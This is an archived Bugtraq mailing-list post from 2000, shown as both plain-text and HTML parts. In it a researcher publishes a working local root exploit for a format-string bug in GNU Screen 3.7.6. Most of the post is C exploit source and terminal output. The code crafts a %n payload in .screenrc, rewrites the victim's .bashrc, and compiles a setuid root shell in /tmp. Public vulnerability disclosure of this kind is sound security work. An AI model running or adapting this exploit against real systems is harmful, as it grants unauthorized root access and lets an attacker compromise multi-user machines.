[16609] in bugtraq
Screen compromise, second
daemon@ATHENA.MIT.EDU (Paul Starzetz)
Wed Sep 6 14:11:17 2000
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="------------395D79E54B64E3129C37682E"
Message-ID: <39B66A79.F6697F88@starzetz.de>
Date: Wed, 6 Sep 2000 18:02:02 +0200
Reply-To: Paul Starzetz <paul@STARZETZ.DE>
From: Paul Starzetz <paul@STARZETZ.DE>
To: BUGTRAQ@SECURITYFOCUS.COM
--------------395D79E54B64E3129C37682E
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
Hi ppl,
as mentioned in previous letter, the Screen package suffers from the
classic format string bug. I post now a fine tuned root exploit for it.
It seems that the invoked bash crashes if we set real_uid to 0, so lets
try another way: create a .bashrc which does the work. On Suse 6.1 and
screen 3.7.6 the crash occurs after .bashrc is executed so we can
exploit this :-)
paul@phoenix:/tmp > id
uid=3D500(paul) gid=3D100(users) groups=3D100(users)
paul@phoenix:/tmp > ls -la
total 9
drwxrwxrwt 4 root root 1024 Sep 6 17:41 .
drwxr-xr-x 18 root root 1024 Mar 7 2000 ..
drwxrwxrwt 2 root root 1024 Feb 15 2000 .X11-unix
-rwxr--r-- 1 paul users 4559 Sep 6 17:41 expl.c
drwxr-xr-x 4 root users 1024 Sep 14 1999 screens
paul@phoenix:/tmp > gcc expl.c (padding set to 1)
paul@phoenix:/tmp > a.out 63
Screen 3.7.6+ local r00t exploit
by IhaQueR@IRCnet
creating magic string
building /home/paul/.screenrc
creating /home/paul/.bashrc
compiling suid shell
makdir()
press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
suid shell
at /tmp/sush
Screen version 3.07.06 (FAU) 25-Nov-98
Copyright (c) 1993-1998 <blah....>
<enter>
chown: /tmp/sush: Operation not
permitted =F3
> l@phoenix:/tmp/PPP=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
<ctrl-g> status:
10737900681134520512134745792-1073748600-1-10737433492047-1073743349-1-1-=
1-...
<ctrl-a ctrl-c>
> idphoenix:/tmp/P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
uid=3D0(root) gid=3D100(users) groups=3D100(users)
> t@phoenix:/tmp/P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
hm :-> this time without crash...
paul@phoenix:/tmp > ls -l
total 79
drwxr-xr-x 2 paul users 1024 Sep 6 17:52
P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5
-rwxr-xr-x 1 paul users 36313 Sep 6 17:49 a.out
-rwxr--r-- 1 paul users 4355 Sep 6 17:48 expl.c
drwxr-xr-x 4 root users 1024 Sep 14 1999 screens
-rwsr-xr-x 1 root root 33190 Sep 6 17:49 sush
-rw-r--r-- 1 paul users 71 Sep 6 17:52 sush.c
but whatever, we have a suid shell at /tmp/sush even if bash crashes...
regards. IhaQueR
--------------------------- expl.c ------------------------------
/****************************************************************
* *
* Screen 3.7.6 (and others) local exploit *
* by IhaQueR@IRCnet *
* only for demonstrative purposes *
* *
****************************************************************/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#define TMPBUFSIZE 1024
#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/bin/screen"
/* to help you hit the buffer we repeat the addr in the dir path */
#define AREP 16
/* but write only once */
#define WREP 1
/* offset of the buffer seen from Msg() */
#define BUFOFFSET 284
#define PADDING 0
/* addr to be written */
#define WRITEADDR 0x807beb4
/* some offsets grabbed from 3.7.6 on S.u.S.E 6.1
&real_uid, &real_gid, &eff_uid, &eff_gid own_uid
0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
+ 64 +64 ? ? ?
to get usefull offsets try this:
------------------- insert into screen.c source ----------------------
char mybuf[100000];
int jj;
void dumpstack(int err, char* fmt, ...)
{
static va_list ap;
char buf[100000];
char *p =3D buf;
FILE * fp;
#define STACKDMP "/tmp/stackdmp"
va_start(ap, fmt);
(void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap);
va_end(ap);
if(fp =3D fopen(STACKDMP, "w")) {
fprintf(fp, "%s", buf);
fclose(fp);
}
}
---------------------------------------------------------------------
then find in screen.c the line: 'Msg(0, VisualBellString);' and replace
it with
bzero(mybuf, 100000);
for (jj=3D0; jj<1500; jj++)
{
strcat(mybuf, "%x ");
}
dumpstack(0, mybuf);
compile screen, run, hit ctrl-g and look at the stack in
/tmp/stackdmp:-)
of course you can dump the adresses of &real_uid, &real_gid too
(maybe you would need a small offset for a.out)
*/
int main(int argc, char** argv)
{
int i, off=3D0;
int writeoffs, bufoffset;
unsigned a, *p;
FILE* fp;
unsigned char* cp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];
struct utsname uts;
struct passwd* pwd;
if(argc !=3D 2) {
printf("USAGE %s offset\n", argv[0]);
return 0;
} else {
printf("Screen 3.7.6+ local r00t exploit\n");
printf("by IhaQueR@IRCnet\n\n");
}
/* calc addr offset */
getcwd(buf, TMPBUFSIZE);
off +=3D strlen(buf);
uname(&uts);
off +=3D strlen(uts.nodename);
pwd =3D getpwuid(getuid());
off +=3D strlen(pwd->pw_name);
/* user@host:/cwd/ @:/ */
off +=3D 3;
bufoffset =3D BUFOFFSET + off;
strcpy(screenrc, pwd->pw_dir);
strcat(screenrc, "/");
strcat(screenrc, SCREENRC);
strcpy(bashrc, pwd->pw_dir);
strcat(bashrc, "/");
strcat(bashrc, BASHRC);
/* user supplied offsets */
writeoffs =3D atoi(argv[1]);
printf("creating magic string\n");
bzero(buf, TMPBUFSIZE);
/* consume stack arguments */
for(i=3D0; i<bufoffset/4; i++)
strcat(buf, "%.0d");
/* finally write to adress */
for(i=3D0;i<WREP; i++)
strcat(buf, "%n");
/* create screenrc */
printf("building %s\n", screenrc);
if(fp =3D fopen(screenrc, "w")) {
fprintf(fp, "vbell on\n");
fprintf(fp, "vbell_msg '%s'\n", buf);
fprintf(fp, "vbellwait 3600\n");
fclose(fp);
}
else {
printf("ERROR: opening %s\n", screenrc);
return 1;
}
/* create bashrc */
printf("creating %s\n", bashrc);
snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc);
system(buf);
snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod
4755 /tmp/sush'", bashrc);
system(buf);
/* create suid shell */
printf("compiling suid shell\n");
snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
system(buf);
system("gcc /tmp/sush.c -o /tmp/sush");
/* now create the magic dir... */
printf("makdir()\n");
bzero(adr, (AREP+2)*sizeof(unsigned));
cp =3D adr;
for(i=3D0; i<PADDING; i++) {
*cp =3D 'P';
cp++;
}
p =3D (unsigned*) cp;
a =3D WRITEADDR + writeoffs;
for(i=3D0; i<AREP; i++) {
*p =3D a;
p++;
}
*p =3D 0;
/* make dir and call screen */
mkdir((char*)adr, 0xfff);
chdir((char*)adr);
argv[1] =3D NULL;
printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush");
getchar();
execv(SCREEN, argv);
}
-------------------------------------------------------------------
Disclaimer: Any resemblance between the above views and those of my
employer, my terminal, or the view out my window are purely
coincidental. Any resemblance between the above and my own views is
non-deterministic. The question of the existence of views in the
absence of anyone to hold them is left as an exercise for the reader.
The question of the existence of the reader is left as an exercise for
the second god coefficient. (A discussion of non-orthogonal,
non-integral polytheism is beyond the scope of this article.)
--------------395D79E54B64E3129C37682E
Content-Type: text/html; charset=iso-8859-2
Content-Transfer-Encoding: quoted-printable
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<tt>Hi ppl,</tt><tt></tt>
<p><tt>as mentioned in previous letter, the Screen package suffers from
the classic format string bug. I post now a fine tuned root exploit for
it.</tt><tt></tt>
<p><tt>It seems that the invoked bash crashes if we set real_uid to 0,
so lets try another way: create a .bashrc which does the work. On Suse
6.1 and screen 3.7.6 the crash occurs after .bashrc is executed so we can=
exploit this :-)</tt><tt></tt>
<p><tt>paul@phoenix:/tmp > id</tt>
<br><tt>uid=3D500(paul) gid=3D100(users) groups=3D100(users)</tt><tt></tt=
>
<p><tt>paul@phoenix:/tmp > ls -la</tt>
<br><tt>total 9</tt>
<br><tt>drwxrwxrwt 4 root root &=
nbsp;
1024 Sep 6 17:41 .</tt>
<br><tt>drwxr-xr-x 18 root root =
1024 Mar 7 2000 ..</tt>
<br><tt>drwxrwxrwt 2 root root &=
nbsp;
1024 Feb 15 2000 .X11-unix</tt>
<br><tt>-rwxr--r-- 1 paul users =
4559 Sep 6 17:41 expl.c</tt>
<br><tt>drwxr-xr-x 4 root users =
1024 Sep 14 1999 screens</tt><tt></tt>
<p><tt>paul@phoenix:/tmp > gcc expl.c (padding set to 1)</tt>
<br><tt>paul@phoenix:/tmp > a.out 63</tt>
<br><tt>Screen 3.7.6+ local r00t exploit</tt>
<br><tt>by IhaQueR@IRCnet</tt><tt></tt>
<p><tt>creating magic string</tt>
<br><tt>building /home/paul/.screenrc</tt>
<br><tt>creating /home/paul/.bashrc</tt>
<br><tt>compiling suid shell</tt>
<br><tt>makdir()</tt>
<br><tt>press enter to start screen, then hit enter again, ctrl-g, ctrl-c=
for suid shell</tt>
<br><tt> at /tmp/sush</tt><tt></tt>
<p><tt>Screen version 3.07.06 (FAU) 25-Nov-98</tt><tt></tt>
<p><tt>Copyright (c) 1993-1998 <blah....></tt>
<br><tt><enter></tt><tt></tt>
<p><tt>chown: /tmp/sush: Operation not permitted &=
nbsp; &n=
bsp; &nb=
sp;
=F3</tt>
<br><tt> > l@phoenix:/tmp/PPP=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=
=F3=F3=B5</tt><tt></tt>
<p><tt><ctrl-g> status: 10737900681134520512134745792-1073748600-1-107=
37433492047-1073743349-1-1-1-...</tt>
<br><tt><ctrl-a ctrl-c></tt><tt></tt>
<p><tt> > idphoenix:/tmp/P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=
=F3=F3=B5</tt>
<br><tt>uid=3D0(root) gid=3D100(users) groups=3D100(users)</tt>
<br><tt> > t@phoenix:/tmp/P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=
=F3=F3=B5</tt><tt></tt>
<p><tt>hm :-> this time without crash...</tt><tt></tt>
<p><tt>paul@phoenix:/tmp > ls -l</tt>
<br><tt>total 79</tt>
<br><tt>drwxr-xr-x 2 paul users =
1024 Sep 6 17:52 P=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=F3=B5=
</tt>
<br><tt>-rwxr-xr-x 1 paul users =
36313 Sep 6 17:49 a.out</tt>
<br><tt>-rwxr--r-- 1 paul users =
4355 Sep 6 17:48 expl.c</tt>
<br><tt>drwxr-xr-x 4 root users =
1024 Sep 14 1999 screens</tt>
<br><tt>-rwsr-xr-x 1 root root &=
nbsp;
33190 Sep 6 17:49 sush</tt>
<br><tt>-rw-r--r-- 1 paul users =
71 Sep 6 17:52 sush.c</tt><tt></tt>
<p><tt>but whatever, we have a suid shell at /tmp/sush even if bash crash=
es...</tt>
<br><tt></tt> <tt></tt>
<p><tt>regards. IhaQueR</tt><tt></tt>
<p><tt>--------------------------- expl.c ------------------------------<=
/tt>
<br><tt></tt>
<br><tt></tt> <tt></tt>
<p><tt>/****************************************************************<=
/tt>
<br><tt>* &nbs=
p;
*</tt>
<br><tt>* Screen 3.7.6 (and others) local exploit =
*</tt>
<br><tt>* by IhaQueR@IRCnet &nbs=
p;
*</tt>
<br><tt>* only for demonstrative purposes &n=
bsp;
*</tt>
<br><tt>* &nbs=
p;
*</tt>
<br><tt>****************************************************************/=
</tt>
<br><tt></tt>
<br><tt></tt> <tt></tt>
<p><tt>#include <stdio.h></tt>
<br><tt>#include <sys/stat.h></tt>
<br><tt>#include <sys/types.h></tt>
<br><tt>#include <fcntl.h></tt>
<br><tt>#include <unistd.h></tt>
<br><tt>#include <string.h></tt>
<br><tt>#include <sys/utsname.h></tt>
<br><tt>#include <pwd.h></tt>
<br><tt></tt>
<br><tt></tt>
<br><tt></tt> <tt></tt>
<p><tt>#define TMPBUFSIZE 1024</tt>
<br><tt></tt> <tt></tt>
<p><tt>#define SCREENRC ".screenrc"</tt>
<br><tt>#define BASHRC ".bashrc"</tt>
<br><tt>#define SCREEN "/usr/bin/screen"</tt><tt></tt>
<p><tt>/* to help you hit the buffer we repeat the addr in the dir path
*/</tt>
<br><tt>#define AREP 16</tt><tt></tt>
<p><tt>/* but write only once */</tt>
<br><tt>#define WREP 1</tt><tt></tt>
<p><tt>/* offset of the buffer seen from Msg() */</tt>
<br><tt>#define BUFOFFSET 284</tt>
<br><tt>#define PADDING 0</tt><tt></tt>
<p><tt>/* addr to be written */</tt>
<br><tt>#define WRITEADDR 0x807beb4</tt>
<br><tt></tt> <tt></tt>
<p><tt>/* some offsets grabbed from 3.7.6 on S.u.S.E 6.1</tt>
<br><tt> &real_uid, &real_gid, &eff_uid, &eff_gid
own_uid</tt>
<br><tt> 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4</tt>
<br><tt> + 64 +64 ? ? ?</=
tt>
<br><tt></tt> <tt></tt>
<p><tt>to get usefull offsets try this:</tt><tt></tt>
<p><tt>------------------- insert into screen.c source ------------------=
----</tt>
<br><tt>char mybuf[100000];</tt>
<br><tt>int jj;</tt><tt></tt>
<p><tt>void dumpstack(int err, char* fmt, ...)</tt>
<br><tt>{</tt>
<br><tt>static va_list ap;</tt>
<br><tt>char buf[100000];</tt>
<br><tt>char *p =3D buf;</tt>
<br><tt>FILE * fp;</tt><tt></tt>
<p><tt>#define STACKDMP "/tmp/stackdmp"</tt><tt></tt>
<p><tt> va_start(ap, fmt);</tt>
<br><tt> (void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap);</tt>
<br><tt> va_end(ap);</tt>
<br><tt> if(fp =3D fopen(STACKDMP, "w")) {</tt>
<br><tt> fprintf(fp, "%s", buf);</tt>
<br><tt> fclose(fp);</tt>
<br><tt> }</tt>
<br><tt>}</tt>
<br><tt></tt> <tt></tt>
<p><tt>------------------------------------------------------------------=
---</tt><tt></tt>
<p><tt>then find in screen.c the line: 'Msg(0, VisualBellString);' and
replace it with</tt><tt></tt>
<p><tt> bzero(mybuf, 100000);</tt>
<br><tt> for (jj=3D0; jj<1500; jj++)</tt>
<br><tt> {</tt>
<br><tt> strcat(mybuf, "%x ");</tt>
<br><tt> }</tt>
<br><tt> dumpstack(0, mybuf);</tt>
<br><tt></tt> <tt></tt>
<p><tt>compile screen, run, hit ctrl-g and look at the stack in /tmp/stac=
kdmp:-)</tt>
<br><tt>of course you can dump the adresses of &real_uid, &real_g=
id
too</tt>
<br><tt>(maybe you would need a small offset for a.out)</tt><tt></tt>
<p><tt>*/</tt>
<br><tt></tt>
<br><tt></tt> <tt></tt>
<p><tt>int main(int argc, char** argv)</tt>
<br><tt>{</tt>
<br><tt>int i, off=3D0;</tt>
<br><tt>int writeoffs, bufoffset;</tt>
<br><tt>unsigned a, *p;</tt>
<br><tt>FILE* fp;</tt>
<br><tt>unsigned char* cp;</tt><tt></tt>
<p><tt>char buf[TMPBUFSIZE];</tt>
<br><tt>unsigned char adr[(AREP+2)*sizeof(unsigned)];</tt>
<br><tt>char screenrc[TMPBUFSIZE];</tt>
<br><tt>char bashrc[TMPBUFSIZE];</tt><tt></tt>
<p><tt>struct utsname uts;</tt>
<br><tt>struct passwd* pwd;</tt>
<br><tt></tt> <tt></tt>
<p><tt> if(argc !=3D 2) {</tt>
<br><tt> printf("USAGE %s offset\n", argv[0]);</tt>
<br><tt> return 0;</tt>
<br><tt> } else {</tt>
<br><tt> printf("Screen 3.7.6+ local r00t exploit\n");</tt>
<br><tt> printf("by IhaQueR@IRCnet\n\n");</tt>
<br><tt> }</tt><tt></tt>
<p><tt>/* calc addr offset */</tt>
<br><tt> getcwd(buf, TMPBUFSIZE);</tt>
<br><tt> off +=3D strlen(buf);</tt>
<br><tt> uname(&uts);</tt>
<br><tt> off +=3D strlen(uts.nodename);</tt>
<br><tt> pwd =3D getpwuid(getuid());</tt>
<br><tt> off +=3D strlen(pwd->pw_name);</tt><tt></tt>
<p><tt>/* user@host:/cwd/ @:/ */</tt>
<br><tt> off +=3D 3;</tt>
<br><tt> bufoffset =3D BUFOFFSET + off;</tt><tt></tt>
<p><tt> strcpy(screenrc, pwd->pw_dir);</tt>
<br><tt> strcat(screenrc, "/");</tt>
<br><tt> strcat(screenrc, SCREENRC);</tt><tt></tt>
<p><tt> strcpy(bashrc, pwd->pw_dir);</tt>
<br><tt> strcat(bashrc, "/");</tt>
<br><tt> strcat(bashrc, BASHRC);</tt><tt></tt>
<p><tt>/* user supplied offsets */</tt>
<br><tt> writeoffs =3D atoi(argv[1]);</tt>
<br><tt> printf("creating magic string\n");</tt>
<br><tt> bzero(buf, TMPBUFSIZE);</tt><tt></tt>
<p><tt>/* consume stack arguments */</tt>
<br><tt> for(i=3D0; i<bufoffset/4; i++)</tt>
<br><tt> strcat(buf, "%.0d");</tt><tt></tt>
<p><tt>/* finally write to adress */</tt>
<br><tt> for(i=3D0;i<WREP; i++)</tt>
<br><tt> strcat(buf, "%n");</tt><tt></tt>
<p><tt>/* create screenrc */</tt>
<br><tt> printf("building %s\n", screenrc);</tt>
<br><tt> if(fp =3D fopen(screenrc, "w")) {</tt>
<br><tt> fprintf(fp, "vbell on\n");</tt>
<br><tt> fprintf(fp, "vbell_msg '%s'\n", buf);</tt>
<br><tt> fprintf(fp, "vbellwait 3600\n");</tt>
<br><tt> fclose(fp);</tt>
<br><tt> }</tt>
<br><tt> else {</tt>
<br><tt> printf("ERROR: opening %s\n", screenrc);</tt>
<br><tt> return 1;</tt>
<br><tt> }</tt><tt></tt>
<p><tt>/* create bashrc */</tt>
<br><tt> printf("creating %s\n", bashrc);</tt>
<br><tt> snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc)=
;</tt>
<br><tt> system(buf);</tt>
<br><tt> snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/=
sush;
chmod 4755 /tmp/sush'", bashrc);</tt>
<br><tt> system(buf);</tt><tt></tt>
<p><tt>/* create suid shell */</tt>
<br><tt> printf("compiling suid shell\n");</tt>
<br><tt> snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac,=
char** av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");</tt>
<br><tt> system(buf);</tt>
<br><tt> system("gcc /tmp/sush.c -o /tmp/sush");</tt><tt></tt>
<p><tt>/* now create the magic dir... */</tt>
<br><tt> printf("makdir()\n");</tt>
<br><tt> bzero(adr, (AREP+2)*sizeof(unsigned));</tt>
<br><tt> cp =3D adr;</tt>
<br><tt> for(i=3D0; i<PADDING; i++) {</tt>
<br><tt> *cp =3D 'P';</tt>
<br><tt> cp++;</tt>
<br><tt> }</tt><tt></tt>
<p><tt> p =3D (unsigned*) cp;</tt>
<br><tt> a =3D WRITEADDR + writeoffs;</tt>
<br><tt> </tt>
<br><tt> for(i=3D0; i<AREP; i++) {</tt>
<br><tt> *p =3D a;</tt>
<br><tt> p++;</tt>
<br><tt> }</tt><tt></tt>
<p><tt> *p =3D 0;</tt><tt></tt>
<p><tt>/* make dir and call screen */</tt>
<br><tt> mkdir((char*)adr, 0xfff);</tt>
<br><tt> chdir((char*)adr);</tt>
<br><tt> argv[1] =3D NULL;</tt>
<br><tt> printf("press enter to start screen, then hit enter again,=
ctrl-g, ctrl-c for suid shell at /tmp/sush");</tt>
<br><tt> getchar();</tt>
<br><tt> execv(SCREEN, argv);</tt>
<br><tt>}</tt><tt></tt>
<p><tt>------------------------------------------------------------------=
-</tt><tt></tt>
<p><tt>Disclaimer: Any resemblance between the above views and those of
my</tt>
<br><tt>employer, my terminal, or the view out my window are purely</tt>
<br><tt>coincidental. Any resemblance between the above and my own
views is</tt>
<br><tt>non-deterministic. The question of the existence of views
in the</tt>
<br><tt>absence of anyone to hold them is left as an exercise for the rea=
der.</tt>
<br><tt>The question of the existence of the reader is left as an exercis=
e
for</tt>
<br><tt>the second god coefficient. (A discussion of non-orthogonal=
,</tt>
<br><tt>non-integral polytheism is beyond the scope of this article.)</tt=
>
<br><tt></tt> </html>
--------------395D79E54B64E3129C37682E--